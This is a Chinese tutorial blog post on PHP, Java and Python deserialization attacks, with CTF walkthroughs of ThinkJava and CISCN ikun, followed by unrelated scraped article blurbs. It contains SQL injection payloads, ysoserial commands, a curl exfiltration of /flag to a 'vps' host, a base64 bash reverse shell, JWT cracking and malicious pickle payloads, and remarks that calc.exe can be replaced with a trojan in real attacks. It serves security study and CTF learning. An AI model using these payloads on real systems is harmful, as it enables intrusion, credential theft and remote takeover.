PHP/原生类/Java/Python反序列化总结

PHP反序列化

#方法&属性-调用详解&变量数据详解
对象变量属性:
public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私人的):只有本类内部可以使用
序列化数据显示:
private 属性序列化的时候格式是%00 类名%00 成员名
protect 属性序列化的时候格式是%00*%00 成员名
具体代码:
<?php
header("Content-type: text/html; charset=utf-8");
/*public private protected 说明
class test{public $name="1111";private $age="29";protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
*/
/*__construct __destruct 魔术方法 创建调用__construct 2 种销毁调用
__destruct
class Test{public $name;public $age;public $string;// __construct:实例化对象时被调用.其作用是拿来初始化一些值。public function __construct($name, $age, $string){echo "__construct 初始化"."<br>";$this->name = $name;$this->age = $age;$this->string = $string;}// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿
来做垃圾回收机制。/** 当对象销毁时会调用此方法* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁

原生类

原生类搜索

<?php
$classes=get_declared_classes();
foreach ($classes as $class){$methods =get_class_methods($class);foreach ($methods as $method){if(in_array($method,array(//'__destruct',//'__toString',//'__wakeup',//'__call',//'__callStatic',//'__get',//'__set',//'__isset',//'__unset',//'__invoke',//'__set_state'))){print $class . '::' . $method . "\n";}}
}

xss+原生类

<?php
highlight_file(_file_);
$a=unserialize($_GET['K']);
echo $a
?>

发现是echo可以想到__tostring函数但是没有tostring函数所以考虑到用tostring原生类Exception

<?php
try {throw new Exception("Some error message");
} catch(Exception $e) {echo $e;
}
?>意思会发回报错

那么直接构造poc

<?php
$a = new Exception("<script>alert('111')</script>");
echo urlencode(serialize($a));
?>

java反序列化

#前置知识:
序列化和反序列化的概念:
序列化:把 Java 对象转换为字节序列的过程。
反序列化:把字节序列恢复为 Java 对象的过程。
对象的序列化主要有两种用途:
把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象)
在网络上传送对象的字节序列。(网络传输对象)
函数接口:
Java: Serializable Externalizable 接口、fastjson、jackson、gson、
ObjectInputStream.read、ObjectObjectInputStream.readUnshared、
XMLDecoder.read、ObjectYaml.loadXStream.fromXML、
ObjectMapper.readValue、JSON.parseObject 等
PHP: serialize()、 unserialize() 
Python:pickle
数据出现:
1、功能特性:
反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数
据落磁盘、或 DB 存储等业务场景。因此审计过程中重点关注这些功能板块。
2、数据特性:
一段数据以 rO0AB 开头,你基本可以确定这串就是 JAVA 序列化 base64 加密的数据。
或者如果以 aced 开头,那么他就是这一段 java 序列化的 16 进制。
3、出现具体:
http 参数,cookie,sesion,存储方式可能是 base64(rO0),压缩后的
base64(H4s),MII 等 Servlets http,Sockets,Session 管理器,包含的协议就包

#原生 API-Ysoserial_URLDNS 使用
Serializable 接口
Externalizable 接口
没组件生成 DNS 利用:
https://github.com/frohoff/ysoserial
cmd命令java -jar ysoserial-0.0.6-SNAPSHOT-all.jar
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://lfssr3.dnslog.cn" > a.txt
意思是ysoserial配合第三方使用DNSlog.cn

image-20231012194039961

当序列化a.txt文件时就会运行命令

下方就会出现地址

WebGoat java序列化

题目意思是更改提供的序列化让他延迟五秒

image-20231012195635641

发现开头 rO0AB,说明base64加密了,先解密

三方组件-Ysoserial_支持库生成使用
https://github.com/WebGoat/WebGoat
有组件生成 RCE:
1、生成:java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "calc.exe" > a.txt
生成序列化参数,之后进行base64编码,传入会弹出计算器
​
利用python编码:python java.py
import base64
file = open("a.txt","rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
​
#解密分析-SerializationDumper 数据分析
https://github.com/NickstaDB/SerializationDumper
java -jar SerializationDumper-v1.13.jar -r urldns.ser >dns.txt

传入,成功弹出计算器,在实战中可以将calc.exe改为木马

image-20231012203154726

赛题-[网鼎杯 2020 朱雀组]ThinkJava

#CTF 赛题-[网鼎杯 2020 朱雀组]ThinkJava
0x01 注入判断,获取管理员帐号密码:
根据提示附件进行 javaweb 代码审计,发现可能存在注入漏洞
另外有 swagger 开发接口,测试注入漏洞及访问接口进行调用测试
数据库名:myapp,列名 name,pwd
注入测试:
POST /common/test/sqlDict
dbName=myapp?a=' union select (select name from user)#
dbName=myapp?a=' union select (select pwd from user)#
0x02 接口测试
/swagger-ui.html 接口测试:
{
"password":"admin@Rrrr_ctf_asde",
"username": "admin"

下载jar包,查看发现text.class里有

import io.swagger.annotations.ApiOperation;

直接访问swagger-ui.html,有三个路由,第三个功能,对应着jar包中Test.class,我们可以通过传dbName来进行sql注入

image-20231012212932028

看其他师傅解释

image-20231012213152565

查看数据库名字

select schema_name from information_schema.schemata;
效果相当于show databases;

image-20231012215019493

获取所有数据库的名字
dbName=myapp#' union select group_concat(SCHEMA_NAME)from(information_schema.schemata)#
结果
information_schema,myapp,mysql,performance_schema,sys

image-20231012215644092

dbName=myapp#' union select group_concat(column_name)from(information_schema.columns)where((table_schema='myapp')and(table_name='user'))#
结果
id,name,pwd

image-20231012215942380

获取字段值

dbName=myapp#' union select group_concat(id)from(user)#
结果 1
dbName=myapp#' union select group_concat(name)from(user)#
结果 admin
dbName=myapp#' union select group_concat(pwd)from(user)#
结果 admin@Rrrr_ctf_asde

然后将用户名admin和密码admin@Rrrr_ctf_asde在/common/user/login处提交,获取一串字符串

image-20231012220156891

ro0AB开头之前说过base64编码

使用bp插件java Deserialization Scanner分析

image-20231013083808576

发现有ROME

可以通过ysoserial利用

测试漏洞,打开DNSlog.cn

image-20231013184516738

命令

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://ki4cxj.dnslog.cn" > f.bin

然后base64编码

image-20231013185139719

输入Bearer +编码的字符串

image-20231013185046122

返回刷新,就会发现有地址了

image-20231013184943902

方法一

curl将flag带出来

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl http://vps:4444 -d @/flag" > x.bin

然后base64编码,放在那个窗口

image-20231013193710158

监听,出现flag

image-20231013193456101

方法二

反弹shell

bash -i >& /dev/tcp/vps/5555 0>&1
进行base64编码,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYxjava -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNS44Ni83MDE1IDA+JjE=}|{base64,-d}|{bash,-i}" > a.bin
python a.py
将生成的java序列化后的值传进/common/user/current

Python反序列化

#前置知识:
函数使用:
pickle.dump(obj, file) : 将对象序列化后保存到文件
pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象
pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象
魔术方法:
__reduce__() 反序列化时调用
__reduce_ex__() 反序列化时调用
__setstate__() 反序列化时调用
__getstate__() 序列化时调用
各类语言函数:
Java: Serializable Externalizable 接口、fastjson、jackson、gson、
ObjectInputStream.read、ObjectObjectInputStream.readUnshared、
XMLDecoder.read、ObjectYaml.loadXStream.fromXML、
ObjectMapper.readValue、JSON.parseObject 等
PHP: serialize()、 unserialize() 
Python:pickle marshal PyYAML shelve PIL unzip

代码演示

#原理-反序列化魔术方法-调用理解
-魔术方法利用:
__reduce__() 反序列化时调用
__reduce_ex__() 反序列化时调用
__setstate__() 反序列化时调用
__getstate__() 序列化时调用-代码块:
import pickle
import os#反序列化魔术方法调用-__reduce__() __reduce_ex__()__setstate__()
class A(object):def __reduce__(self):print('反序列化调用')return (os.system,('calc',))
a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)class SerializePerson():def __init__(self, name):self.name = name# 构造 __setstate__ 方法def __setstate__(self, name):os.system('calc') # 恶意代码
tmp = pickle.dumps(SerializePerson('tom')) #序列化
pickle.loads(tmp) # 反序列化 此时会弹出计算器#序列化魔术方法调用-__getstate__
class A(object):def __getstate__(self):print('序列化调用')os.system('calc')
a = A()
p_a = pickle.dumps(a)
print('==========')
print(p_a)#反序列化安全漏洞产生-DEMO
class A(object):def __init__(self,func,arg):self.func = funcself.arg = argprint('this is A')def __reduce__(self):print('反序列化调用')return (self.func,self.arg)
a = A(os.system,('calc',))  //可以改成ipconfig
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('=========')
print(p_a)		

注意靶机的python环境,这编写payload时要用相应的python环境

[CISCN2019 华北赛区 Day1 Web2]ikun

可以看到标题说一定要买到lv6,让我看看怎么个事,查看器可以看到,有个lv4.png,所以解题思路就是找到lv6并买了

image-20231020214113267

发现有很多页,就只能用爬虫,爬取页面内容来查找

import requests,timeurl="http://a6d161a6-ad0c-42ec-982c-af786251bc68.node4.buuoj.cn:81/shop?page="for i in range(0,2000):time.sleep(0.2)r = requests.get(url+str(i))if 'lv6.png' in r.text:print(i)breakelse:print(str(i)+'|no')

找到在181页,直接去看看

image-20231020215254168

image-20231020215404969

我去有点贵买不起,抓个包看看,怎么回事

image-20231020215537816

试了试直接改价格不行,发现有个折扣,那我们直接让折扣对于0.000000000000000008试试

image-20231020215850841

发现OK,但是只允许admin访问

image-20231020215758175

那就要越权了,发现包里有JWT,解析一下看看

image-20231020220315866

不知道密匙,那就去爆破

下载好c-jwt-cracker

安装
docker build . -t jwtcrack
运行
docker run -it --rm  jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InN3cSJ9.TqygiKuMaNOivOr-B-UC5NQ17yTC0g7pVMgHz48v0ek

破解出来:1Kun

image-20231024215215239

然后更改如下,在将得到的JWT复制到数据包

image-20231024203712378

得到

image-20231024204419101

查看源代码

image-20231024204433860

下载然后审计,发现敏感函数

image-20231024211557081

写payload

import pickle
import urllib
class A(object):def __reduce__(self) :return (eval, ("open('/flag.txt','r').read()",))a = pickle.dumps(A())
a = urllib.quote(a)
print(a)

python2运行payload

image-20231024215937223

可以发现那个函数在/b1g_m4mber页面下调用

image-20231024214556989

到该页面下查看确实有post传参

image-20231024215845624

更改value的值(上面payload运行的结果)然后再点击一键成为大会员

image-20231024220202083

就会出现flag

image-20231024220532500

python代码审计自动化工具

python代码审计自动化工具
dendit 
安装方式:pip install dendit
运行方式:dendit -r 需要审计的文件名称

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/658469.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python爬虫之豆瓣首页图片爬取

网址&#xff1a;https://movie.douban.com/ import requests from lxml import etree import re url https://movie.douban.com headers {User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Safari/5…

如何快速知道app当前页面是哪一个Activity(2.0升级版)

点我跳转 如何快速知道app当前页面是哪一个Activity 1.0版本 这个版本是用adb 命令实现的&#xff0c;想看的可以看看&#xff0c;学习一下adb 命令。 今天做了一个非常简易的app来直接监控当前页面Activity&#xff0c;效果直接炸裂&#xff0c;效果图如下&#xff1a; 有需要…

详解SpringCloud微服务技术栈:深入ElasticSearch(2)——自动补全、拼音搜索

&#x1f468;‍&#x1f393;作者简介&#xff1a;一位大四、研0学生&#xff0c;正在努力准备大四暑假的实习 &#x1f30c;上期文章&#xff1a;详解SpringCloud微服务技术栈&#xff1a;深入ElasticSearch&#xff08;1&#xff09;——数据聚合 &#x1f4da;订阅专栏&…

Windows断开映射磁盘提示“此网络连接不存在”,并且该磁盘直在资源管理器中

1、打开注册表编辑器 快捷键winR 打开“运行”&#xff0c; 输入 regedit 2、 删除下列注册表中和无法移除的磁盘相关的选项 \HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\ 3、打开“任务管理器”&#xff0c;重新启动“Windows资源…

Spring Boot第一天

SpringBoot概述 Spring Boot是Spring提供的一个子项目&#xff0c;用于快速构建Spring应用程序 传统方式构建Spring应用程序 导入依赖繁琐 项目配置繁琐 为了简化如此繁琐的配置流程&#xff0c;SpringBoot这一子项目提供了如下特性 SpringBoot特性 起步依赖 本质上就是一个…

代码随想录算法训练营第十六天 | 完全二叉树

目录 完全二叉树 LeetCode 222. 完全二叉树的节点个数 完全二叉树 作者&#xff1a;labuladong 如何求一棵完全二叉树的节点个数呢&#xff1f; // 输入一棵完全二叉树&#xff0c;返回节点总数 int countNodes(TreeNode root);如果是一个普通二叉树&#xff0c;显然只要向…

Camunda中强大的监听服务

文章目录 简介创建工程JavaDelegateTaskListenerExecutionListener部署发起流程CustomExecutionListener开始节点CustomExecutionListenerCustomJavaDelegateCustomExecutionListenerCustomTaskListener用户节点 ExpressionDelegate Expression流程图 简介 Camunda预览了很多接…

MTK8365安卓核心板_联发科MT8365(Genio 350)核心板规格参数

MTK8365安卓核心板是一款高性能的嵌入式处理器产品&#xff0c;基于联发科领先的SoC架构和先进的12纳米工艺。它集成了四核ARM Cortex-A53处理器&#xff0c;每个核心频率高达2.0 GHz&#xff0c;搭载强大的多标准视频加速器&#xff0c;支持高达1080p 60fps的视频解码。此外&a…

【MBtiles数据格式说明】GeoServer改造Springboot番外系列一

一、MBTiles数据格式 MBTiles格式是指由MapBox制定的一种将瓦片地图数据存储到SQLite数据库中并可快速使用、管理和分享的规范&#xff0c;是一种用于即时使用和高效传输的规范。MBTiles既可以用作栅格输入数据存储&#xff0c;也可以用作WMSGetMap输出格式。规范有1.0&#xf…

rp-bf:一款Windows下辅助进行ROP gadgets搜索的Rust库

关于rp-bf rp-bf是一款Windows下辅助进行ROP gadgets搜索的Rust库&#xff0c;该工具可以通过模拟Windows用户模式下的崩溃转储来爆破枚举ROP gadgets。 在很多系统安全测试场景中&#xff0c;研究人员成功劫持控制流后&#xff0c;通常需要将堆栈数据转移到他们所能够控制的…

第一批 Apple Vision Pro 开箱和佩戴体验新鲜出炉!!!

注: 本文转自微信公众号 BravoAI (专注AI资讯和技术分享), 原文网址:第一批 Apple Vision Pro 开箱和佩戴体验新鲜出炉!!!, 扫码关注公众号 编者按: 整个AR/VR行业都在等AVP, 期待它能带来ChatGPT般的冲击 AVP(Apple Vision Pro) 是苹果公司研发的第一款"空间计算 (Spa…

基础小白快速入门python------Python程序设计结构,循环

循环在计算机中&#xff0c;是一个非常重要的概念&#xff0c;是某一块儿代码的不断重复运行&#xff0c;是一种逻辑思维 在编程中的体现&#xff0c;运用数学思维加代码结合加数据&#xff0c;就构成了一个循环。 在Python中&#xff0c;循环主要分为三大类 for循环 while循…

Revit中使用依赖注入

依赖注入的技术已经很成熟&#xff0c;本文主要是说明一下Revit中的适用版本与介绍相关的开源项目。 版本问题 版本 目前的依赖注入包无法支持Revit 2020 以下的版本&#xff0c;原因是因为包中的依赖项与Revit本身的依赖项不一致导致的&#xff0c;所以说如果使用Revit DI…

力扣hot100 括号生成 递归回溯 超简洁版

Problem: 22. 括号生成 Code 使用 static 会被复用 class Solution {List<String> ans new ArrayList<>();public List<String> generateParenthesis(int n){dfs(n, n, "");return ans;}/*** param l 左括号待补个数* param r 右括号待补个数*…

nodejs+vue+ElementUi电商购物个性化商城推荐系统gqfe

电本电商个性化推荐系统是为了提高用户查阅信息的效率和管理人员管理信息的工作效率&#xff0c;可以快速存储大量数据&#xff0c;还有信息检索功能&#xff0c;这大大的满足了用户和管理员这二者的需求。操作简单易懂&#xff0c;合理分析各个模块的功能&#xff0c;尽可能优…

ansible 常用命令 基本说明 个人备忘

linux下设置一台机器的名称为ansible hostnamectl set-hostname ansible //设置一台机器的名称为master-01 hostnamectl set-hostname master-01 hostnamectl set-hostname master-02 hostnamectl set-hostname node01 hostnamectl set-hostname node02 hostnamectl set-…

flutter 设置图片与文字的基线对齐

如题&#xff1a;如何实现图片和文字的基线对齐 众所周知&#xff0c;文字含有上下填充&#xff0c;这个填充是框架所给予的。 背景 在开发中&#xff0c;我当时遇到比较简单的布局&#xff0c;首先是左边图标右边文字&#xff0c;如下图所示&#xff0c; 很自然的就想到用R…

linux 使用命令创建mysql账户

目录 前言创建步骤 前言 mysql默认有一个root用户&#xff0c;这个账户权限太大了&#xff0c;用起来不太安全&#xff0c;我们通常是重新那家一个账户用于一般的数据库操作&#xff0c;下面介绍如何通过命令创建一个mysql账户。 创建步骤 登录mysql mysql -u root -p输入roo…

Unity3D正则表达式的使用

系列文章目录 unity工具 文章目录 系列文章目录前言一、匹配正整数的使用方法1-1、代码如下1-2、结果如下 二、匹配大写字母2-1、代码如下1-2、结果如下 三、Regex类3-1、Match&#xff08;&#xff09;3-2、Matches()3-3、IsMatch&#xff08;&#xff09; 四、定义正则表达式…

非内积级联学习

1.首页推荐非内积召回现状 非内积召回源是目前首页推荐最重要的召回源之一。同时非内积相比于向量化召回最终仅将user和item匹配程度表征为embeding内积&#xff0c;非内积召回仅保留item embedding&#xff0c;不构造user显式表征&#xff0c;而是通过一个打分网络计算用户-商…